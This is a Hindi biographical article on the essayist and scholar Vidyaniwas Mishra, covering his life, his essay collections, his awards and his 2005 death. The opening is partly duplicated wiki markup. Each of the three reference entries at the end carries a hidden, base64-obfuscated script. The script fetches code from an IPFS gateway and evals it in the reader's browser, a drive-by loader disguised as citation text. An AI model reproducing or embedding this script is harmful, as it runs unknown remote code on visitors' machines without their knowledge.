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'[[हिंदी और हम -विद्यानिवास मिश्र|हिंदी और हम]]', '[[हिंदी साहित्य का पुनरालोकन -विद्यानिवास मिश्र|हिंदी साहित्य का पुनरालोकन]]', '[[साहित्य के सरोकार -विद्यानिवास मिश्र|साहित्य के सरोकार]]', '[[व्यक्ति व्यंजना -विद्यानिवास मिश्र|व्यक्ति व्यंजना]]', '[[वाचिक कविता भोजपुरी -विद्यानिवास मिश्र|वाचिक कविता भोजपुरी]] (सं)', '[[वाचिक कविता अवधी -विद्यानिवास मिश्र|वाचिक कविता अवधी]] (सं)', '[[लोक और लोक का स्वर -विद्यानिवास मिश्र|लोक और लोक का स्वर]]', '[[राधा माधव रंग रँगी -विद्यानिवास मिश्र|राधा माधव रंग रंगी]]', '[[रहिमन पानी राखिए -विद्यानिवास मिश्र|रहिमन पानी राखिए]]', '[[भ्रमरानंद का पचड़ा -विद्यानिवास मिश्र|भ्रमरानंद का पचड़ा]]', '[[भारतीय संस्कृति के आधार -विद्यानिवास मिश्र|भारतीय संस्कृति के आधार]]', '[[बसन्त आ गया पर कोई उत्कण्ठा नहीं -विद्यानिवास मिश्र|बसन्त आ गया पर कोई उत्कण्ठा नहीं]]', '[[फागुन दुइ रे दिना -विद्यानिवास मिश्र|फागुन दुइ रे दिना]]', 'हिन्दी की शब्द सम्पदा'।
 
==पुरस्कार तथा सम्मान==
 
==पुरस्कार तथा सम्मान==
विद्यानिवास मिश्र ने कुछ [[वर्ष]] 'नवभारत टाइम्स' समाचार पत्र के संपादक का दायित्व भी संभाला। उन्हें 'भारतीय ज्ञानपीठ' के 'मूर्तिदेवी पुरस्कार', 'के. के. बिड़ला फाउंडेशन' के 'शंकर सम्मान' से नवाजा गया। भारत सरकार ने उन्हें 'पद्मश्री' और 'पद्मभूषण' से भी सम्मानित किया था। राजग शासन काल में उन्हें राज्यसभा का सदस्य मनोनीत किया गया।
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विद्यानिवास मिश्र ने कुछ [[वर्ष]] 'नवभारत टाइम्स' समाचार पत्र के संपादक का दायित्व भी संभाला। उन्हें '[[भारतीय ज्ञानपीठ]]' के '[[मूर्तिदेवी पुरस्कार]]', 'के. के. बिड़ला फाउंडेशन' के 'शंकर सम्मान' से नवाजा गया। [[भारत सरकार]] ने उन्हें '[[पद्म श्री]]' और '[[पद्म भूषण]]' से भी सम्मानित किया था। [[राष्ट्रीय जनतांत्रिक गठबंधन|राजग (राष्ट्रीय जनतांत्रिक गठबंधन)]] शासन काल में उन्हें [[राज्यसभा]] का सदस्य मनोनीत किया गया।
 
====निधन====
 
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'पद्मभूषण' विद्यानिवास मिश्र राज्यसभा सांसद के रूप में कार्य करते हुए [[14 फ़रवरी]], [[2005]] को एक सडक दुर्घटना के कारण लगभग अस्सी वर्ष की उम्र में दिवंगत हुए। उस समय साहित्य जगत को यह एहसास होना स्वाभाविक ही था कि [[हिन्दी]] के ललित निबन्धों का पुरोधा असमय ही चला गया।
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'पद्म भूषण' विद्यानिवास मिश्र [[राज्यसभा]] सांसद के रूप में कार्य करते हुए [[14 फ़रवरी]], [[2005]] को एक सड़क दुर्घटना के कारण लगभग अस्सी वर्ष की उम्र में दिवंगत हुए। उस समय साहित्य जगत को यह एहसास होना स्वाभाविक ही था कि [[हिन्दी]] के ललित निबन्धों का पुरोधा असमय ही चला गया।
  
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विद्यानिवास मिश्र
विद्यानिवास मिश्र
पूरा नाम विद्यानिवास मिश्र
जन्म 28 जनवरी, 1926
जन्म भूमि गोरखपुर, उत्तर प्रदेश
मृत्यु 14 फ़रवरी, 2005
कर्म भूमि भारत
कर्म-क्षेत्र निबन्ध लेखन।
मुख्य रचनाएँ छितवन की छाँह' (1976), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल' आदि।
भाषा हिन्दी
विद्यालय 'इलाहाबाद विश्वविद्यालय'
पुरस्कार-उपाधि 'भारतीय ज्ञानपीठ' का 'मूर्ति देवी पुरस्कार', 'शंकर सम्मान', 'पद्म श्री' और 'पद्म भूषण'।
प्रसिद्धि ललित निबन्ध लेखक।
विशेष योगदान विद्यानिवास हिन्दी की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, मॉरीशस से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने हिन्दी के संघर्ष को मजबूती प्रदान की।
नागरिकता भारतीय
अन्य जानकारी विद्यानिवास मिश्र ने कुछ वर्ष 'नवभारत टाइम्स' के संपादक का दायित्व भी संभाला। उन्होंने 'नवभारत टाइम्स' को हिन्दी के प्रतिष्ठित समाचार पत्र के रूप में नई पहचान दिलाई।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

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विद्यानिवास मिश्र (अंग्रेज़ी: Vidhyaniwas Mishra; जन्म- 28 जनवरी, 1926, गोरखपुर, उत्तर प्रदेश; मृत्यु- 14 फ़रवरी, 2005) हिन्दी के प्रसिद्ध साहित्यकार, सफल सम्पादक, संस्कृत के प्रकाण्ड विद्वान और जाने-माने भाषाविद थे। हिन्दी साहित्य को अपने ललित निबंधों और लोक जीवन की सुगंध से सुवासित करने वाले विद्यानिवास मिश्र ऐसे साहित्यकार थे, जिन्होंने आधुनिक विचारों को पारंपरिक सोच में खपाया था। साहित्य समीक्षकों के अनुसार संस्कृत मर्मज्ञ मिश्र जी ने हिन्दी में सदैव आँचलिक बोलियों के शब्दों को महत्त्व दिया। विद्यानिवास मिश्र के अनुसार- "हिन्दी में यदि आँचलिक बोलियों के शब्दों को प्रोत्साहन दिया जाये तो दुरूह राजभाषा से बचा जा सकता है, जो बेहद संस्कृतनिष्ठ है।" मिश्र जी के अभूतपूर्व योगदान के लिए ही भारत सरकार ने उन्हें 'पद्मश्री' और 'पद्मभूषण' से भी सम्मानित किया था।

जन्म तथा शिक्षा

हिन्दी की ललित निबन्‍धों की परम्‍परा को उन्‍नति के शिखर पर पहुँचाने वाले कुशल शिल्‍पी पंडित विद्यानिवास मिश्र का जन्म 28 जनवरी, सन 1926 में पकडडीहा गाँव, गोरखपुर (उत्तर प्रदेश) में हुआ था। वे अपनी बोली और संस्कृति के प्रति सदैव आग्रही रहे। सन 1945 में 'इलाहाबाद विश्वविद्यालय' से स्नातकोत्तर एवं डाक्टरेट की उपाधि लेने के बाद विद्यानिवास मिश्र ने अनेक वर्षों तक आगरा, गोरखपुर, कैलिफोर्निया और वाशिंगटन विश्वविद्यालय में अध्यापन कार्य किया। वे देश के प्रतिष्ठित 'संपूर्णानंद संस्कृत विश्वविद्यालय' एवं 'काशी विद्यापीठ' के कुलपति भी रहे। इसके बाद अनेकों वर्षों तक वे आकाशवाणी और उत्तर प्रदेश के सूचना विभाग में कार्यरत रहे।

ललित निबंध लेखन

विद्यानिवास मिश्र के ललित निबन्‍धों की शुरुआत सन 1956 ई. से होती है। परन्‍तु आपका पहला निबन्ध संग्रह 1976 ई. में ‘छितवन की छाँह' प्रकाश में आया। उन्होंने हिन्‍दी जगत को ललित निबन्‍ध परम्‍परा से अवगत कराया। ‘तुम चन्‍दन हम पानी' शीर्षक से जो निबन्‍ध प्रकाशित हुए, उनमें संस्‍कृत साहित्‍य के सन्‍दर्भ का प्रयोग अधिक हो गया और पाण्‍डित्‍य प्रदर्शन की प्रवृत्ति के कारण लालित्‍य दब गया, जो आपकी पहली दो रचनाओं में मिलता था। तीसरे निबन्‍ध संग्रह ‘आंगन का पंछी और बनजार मन' में परिवर्तन आया। इस तथ्य को स्‍वयं निबन्‍धकार स्‍वीकार करता है- "छितवन की छांह' मेरे मादक दिनों की देन है, ‘कदम की फूली डाल' मेरे विन्‍ध्‍य प्रवास का, जो बाद में आवास ही बन गया, का फल है और ‘तुम चन्‍दन और हम पानी' मेरे संस्‍कृत अन्‍वेषण की देन है। अब चौथा संग्रह आपके हाथों में है, दुविधा के क्षणों की सृष्‍टि है। इसलिए इसका शीर्षक भी द्विविधात्‍मक है। बरसों तक भोजपुरी वातावरण के स्‍मृतिचित्र उरेहता रहा, उसी में मन चाहे पद पर जब वापस होने की आशंका। इसलिए जहाँ मन ‘आगंन का पंछी' बनकर चहका, वहीं उसका बनजारा मन' उसे विगत और अनागत दिशाओं में रमने-घूमने के लिए अकुलाता भी रहा।"[1]

साहित्य सृजनकर्ता

हिन्दी साहित्य के सर्जक विद्यानिवास मिश्र ने साहित्य की ललित निबंध की विधा को नए आयाम दिए। हिन्दी में ललित निबंध की विधा की शुरूआत प्रताप नारायण मिश्र और बालकृष्ण भट्ट ने की थी, किंतु इसे ललित निबंधों का पूर्वाभास कहना ही उचित होगा। ललित निबंध की विधा के लोकप्रिय नामों की बात करें तो हजारी प्रसाद द्विवेदी, विद्यानिवास मिश्र एवं कुबेरनाथ राय आदि चर्चित नाम रहे हैं। लेकिन यदि लालित्य और शैली की प्रभाविता और परिमाण की विपुलता की बात की जाए तो विद्यानिवास मिश्र इन सभी से कहीं अग्रणी रहे हैं। विद्यानिवास मिश्र के साहित्य का सर्वाधिक महत्वपूर्ण हिस्सा ललित निबंध ही हैं। उनके ललित निबंधों के संग्रहों की संख्या भी लगभग 25 से अधिक है।[2]

पौराणिक विषयों पर निबन्ध

लोक संस्कृति और लोक मानस उनके ललित निबंधों के अभिन्न अंग थे, उस पर भी पौराणिक कथाओं और उपदेशों की फुहार उनके ललित निबंधों को और अधिक प्रवाहमय बना देते थे। उनके प्रमुख ललित निबंध संग्रह हैं- 'राधा माधव रंग रंगी', 'मेरे राम का मुकुट भीग रहा है', 'शैफाली झर रही है', 'छितवन की छांह', 'बंजारा मन', 'तुम चंदन हम पानी', 'महाभारत का काव्यार्थ', 'भ्रमरानंद के पत्र', 'वसंत आ गया पर कोई उत्कंठा नहीं' और 'साहित्य का खुला आकाश' आदि आदि। वसंत ऋतु से विद्यानिवास मिश्र को विशेष लगाव था, उनके ललित निबंधों में ऋतुचर्य का वर्णन उनके निबंधों को जीवंतता प्रदान करता था। वसंत ऋतु पर लिखे अपने निबंध संकलन 'फागुन दुइ रे दिना' में वसंत के पर्वों को व्याख्यायित करते हुए, 'अपना अहंकार इसमें डाल दो' शीर्षक से लिखे निबंध में वे 'शिवरात्रि' पर लिखते हैं-

"शिव हमारी गाथाओं में बड़े यायावर हैं। बस जब मन में आया, बैल पर बोझा लादा और पार्वती संग निकल पड़े, बौराह वेश में। लोग ऐसे शिव को पहचान नहीं पाते। ऐसे यायावर विरूपिए को कौन शिव मानेगा? वह भी कभी-कभी हाथ में खप्पर लिए। ऐसा भिखमंगा क्या शिव है?"

इसके बाद इन पंक्तियों को विवेचित करते हुए विद्यानिवास मिश्र जी लिखते हैं-

"हाँ, यह जो भीख मांग रहा है, वह अहंकार की भीख है। लाओ, अपना अहंकार इसमें डाल दो। उसे सब जगह भीख नहीं मिलती। कभी-कभी वह बहुत ऐश्वर्य देता है और पार्वती बिगड़ती हैं। क्या आप अपात्र को देते हैं? शिव हंसते हैं, कहते हैं, इस ऐश्वर्य की गति जानती हो, क्या है? मद है। और मद की गति तो कागभुसुंडि से पूछो, रावण से पूछो, बाणासुर से पूछो।"

इन पंक्तियों का औचित्य समझाते हुए मिश्र जी लिखते हैं-

"पार्वती छेड़ती हैं कि देवताओं को सताने वालों को आप इतना प्रतापी क्यों बनाते हैं? शिव अट्टाहास कर उठते हैं, उन्हें प्रतापी न बनाएँ तो देवता आलसी हो जाएँ, उन्हें झकझोरने के लिए कुछ कौतुक करना पड़ता है।"

यह मिश्र जी की अपनी उद्भावना है, प्रसंग पौराणिक हैं, किंतु वर्तमान पर लागू होते हैं। पुराण कथाओं का संदर्भ देते हुए विद्यानिवास मिश्र ने साहित्य के पाठकों को भारतीय संस्कृति का मर्म समझाने का प्रयास किया है।[2]

योगदान

विद्यानिवास मिश्र के ललित निबंधों में जीवन दर्शन, संस्कृति, परंपरा और प्रकति के अनुपम सौंदर्य का तालमेल मिलता है। इस सबके बीच वसंत ऋतु का वर्णन उनके ललित निबंधों को और अधिक रसमय बना देता है। ललित निबंधों के माध्यम से साहित्य को अपना योगदान देने वाले विद्यानिवास हिन्दी की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, मारीशस से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने हिन्दी के संघर्ष को मजबूती प्रदान की। हिन्दी की शब्द संपदा, हिन्दी और हम, हिन्दीमय जीवन और प्रौढ़ों का शब्द संसार जैसी उनकी पुस्तकों ने हिन्दी की सम्प्रेषणीयता के दायरे को विस्तृत किया। तुलसीदास और सूरदास समेत भारतेन्दु हरिश्चन्द्र अज्ञेय, कबीर, रसखान, रैदास, रहीम और राहुल सांकृत्यायन की रचनाओं को संपादित कर उन्होंने हिन्दी के साहित्य को विपुलता प्रदान की।

संस्कृति एवं कला मर्मज्ञ

विद्यानिवास मिश्र कला एवं भारतीय संस्कृति के मर्मज्ञ थे। खजुराहो की चित्रकला का सूक्ष्मता और तार्किकता से अध्ययन कर उसकी नई अवधारणा प्रस्तुत करने वाले विद्यानिवास मिश्र ही थे। अकसर भारतीय चिंतक विदेशी विद्वानों से बात करते हुए खजुराहो की कलाकृतियों को लेकर कोई ठोस तार्किक जवाब नहीं दे पाते थे। विद्यानिवास जी ने अपने विवेचन के माध्यम से खजुराहो की कलाकृतियों की अवधारणा स्पष्ट करते हुए लिखा है-

"यहाँ के मिथुन अंकन साधन हैं, साध्य नहीं। साधक की अर्चना का केंद्रबिंदु तो अकेली प्रतिमा के गर्भग्रह में है। यहाँ अभिव्यक्ति कला रस से भरपूर है, जिसकी अंतिम परिणति ब्रहम रूप है। हमारे दर्शन में धर्म, अर्थ, काम और मोक्ष की जो मान्यताएँ हैं, उनमें मोक्ष प्राप्ति से पूर्व का अंतिम सोपान है काम।"

उन्होंने कहा कि यह हमारी नैतिक दुर्बलता ही है कि खजुराहो की कलाकृतियों में हम विकृत कामुकता की छवि पाते हैं। स्त्री पुरुष अनादि हैं, जिनके सहयोग से ही सृष्टि जनमती है। सन 1990 के दशक में मिश्र जी ने 'नवभारत टाइम्स' के संपादक के रूप में जिम्मेदारी संभाली थी। उदारीकरण के दौर में खांटी हिन्दी पत्रकारिता को आगे बढ़ाने वाले महत्वपूर्ण पत्रकारों में से एक मिश्र जी ने 'नवभारत टाइम्स' को हिन्दी के प्रतिष्ठित समाचार पत्र के रूप में नई पहचान दिलाई। पत्रकारीय धर्म और उसकी सीमाओं को लेकर वे सदैव सचेत रहते थे। वे अकसर कहा करते थे कि- "मीडिया का काम नायकों का बखान करना अवश्य है, लेकिन नायक बनाना मीडिया का काम नहीं है।"[2]

आकाशवाणी पर व्याख्यान

जयपुर का साहित्य जगत आज भी भूला नहीं है कि आकाशवाणी जयपुर के आमंत्रण पर मिश्र जी ने सन 1994 के 30 नवम्बर और 1 दिसम्बर को आकाशवाणी की राजेन्द्र प्रसाद स्मारक व्याख्यान माला में 'साधुमन' और 'लोकमत' पर दो व्याख्यान दिए थे, जिनकी शैली ललित निबंधों की सी थी और जिनके प्रेरणा स्रोत थी, तुलसी के मानस की वह अर्धाली 'टरत विनय सादर सुनिय करिय विचार बहोरि। करब साधुमत लोकमत नृपनयतिगम निचोरि।' ये दोनों व्याख्यान 'स्वरूप विमर्श' शीर्षक निबंध संग्रह में बाद में छपे। इसी प्रकार जयपुर के विख्यात संपादक और वेद विज्ञान के अध्येता कर्पूरचन्द्र कुलिश की प्रेरणा से 'भारतीय साहित्य परिषद' द्वारा जयपुर में 'गीत गोविन्द' पर उनके व्याख्यान करवाए गए। कोलकाता में भी 'गीत गोविंद' पर व्याख्यान आयोजित किए गए थे। इन सब का संपादित और परिवर्धित रूप है, उनका प्रसिद्ध ग्रंथ "राधा माधव रंग रँगी।" यह समूचा ग्रंथ ललित निबन्ध की शैली में लिखा गया है।[3]

रचनाएँ

विद्यानिवास मिश्र की मुख्य रचनाएँ निम्नलिखित हैं-

निबन्ध संग्रह

छितवन की छाँह' (1976), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल'।

अन्य

'हिंदी और हम', 'हिंदी साहित्य का पुनरालोकन', 'साहित्य के सरोकार', 'व्यक्ति व्यंजना', 'वाचिक कविता भोजपुरी (सं)', 'वाचिक कविता अवधी (सं)', 'लोक और लोक का स्वर', 'राधा माधव रंग रंगी', 'रहिमन पानी राखिए', 'भ्रमरानंद का पचड़ा', 'भारतीय संस्कृति के आधार', 'बसन्त आ गया पर कोई उत्कण्ठा नहीं', 'फागुन दुइ रे दिना', 'हिन्दी की शब्द सम्पदा'।

पुरस्कार तथा सम्मान

विद्यानिवास मिश्र ने कुछ वर्ष 'नवभारत टाइम्स' समाचार पत्र के संपादक का दायित्व भी संभाला। उन्हें 'भारतीय ज्ञानपीठ' के 'मूर्तिदेवी पुरस्कार', 'के. के. बिड़ला फाउंडेशन' के 'शंकर सम्मान' से नवाजा गया। भारत सरकार ने उन्हें 'पद्म श्री' और 'पद्म भूषण' से भी सम्मानित किया था। राजग (राष्ट्रीय जनतांत्रिक गठबंधन) शासन काल में उन्हें राज्यसभा का सदस्य मनोनीत किया गया।

निधन

'पद्म भूषण' विद्यानिवास मिश्र राज्यसभा सांसद के रूप में कार्य करते हुए 14 फ़रवरी, 2005 को एक सड़क दुर्घटना के कारण लगभग अस्सी वर्ष की उम्र में दिवंगत हुए। उस समय साहित्य जगत को यह एहसास होना स्वाभाविक ही था कि हिन्दी के ललित निबन्धों का पुरोधा असमय ही चला गया।


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टीका टिप्पणी और संदर्भ

  1. विद्यानिवास मिश्र के ललित निबन्धों का सृजन परिदृश्य (हिन्दी)। । अभिगमन तिथि: 03 अक्टूबर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 2.0 2.1 2.2 साहित्यिक पत्रकारिता के 'अमृत' विद्यानिवास मिश्र (हिन्दी)। । अभिगमन तिथि: 03 अक्टूबर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ललित निबन्ध के पुरोधा विद्यानिवास मिश्र (हिन्दी)। । अभिगमन तिथि: 03 अक्टूबर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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